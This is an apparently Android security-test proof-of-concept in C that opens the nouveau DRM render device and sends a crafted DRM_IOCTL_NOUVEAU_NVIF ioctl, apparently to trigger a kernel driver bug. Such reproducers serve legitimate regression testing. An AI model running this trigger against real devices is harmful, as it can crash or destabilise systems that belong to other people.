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57 lines
1.2 KiB
57 lines
1.2 KiB
/**
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* Copyright (C) 2017 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <errno.h>
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#include <fcntl.h>
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#include <pthread.h>
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#include <sched.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/ioctl.h>
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#include <sys/stat.h>
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#include <sys/syscall.h>
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#include <sys/types.h>
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#include <unistd.h>
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#include "local_poc.h"
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#define DEV "/dev/dri/renderD128"
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int dev_fd;
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enum nouveau_drm_object_route {
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NVDRM_OBJECT_NVIF = 0,
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NVDRM_OBJECT_USIF,
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NVDRM_OBJECT_ABI16,
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};
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struct nvif_ioctl_v0 s_nvif;
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int main() {
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int ret;
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dev_fd = open(DEV, O_RDONLY);
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if (dev_fd == -1) {
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return 0;
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}
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s_nvif.type = 0x3;
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ret = ioctl(dev_fd, DRM_IOCTL_NOUVEAU_NVIF, &s_nvif);
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}
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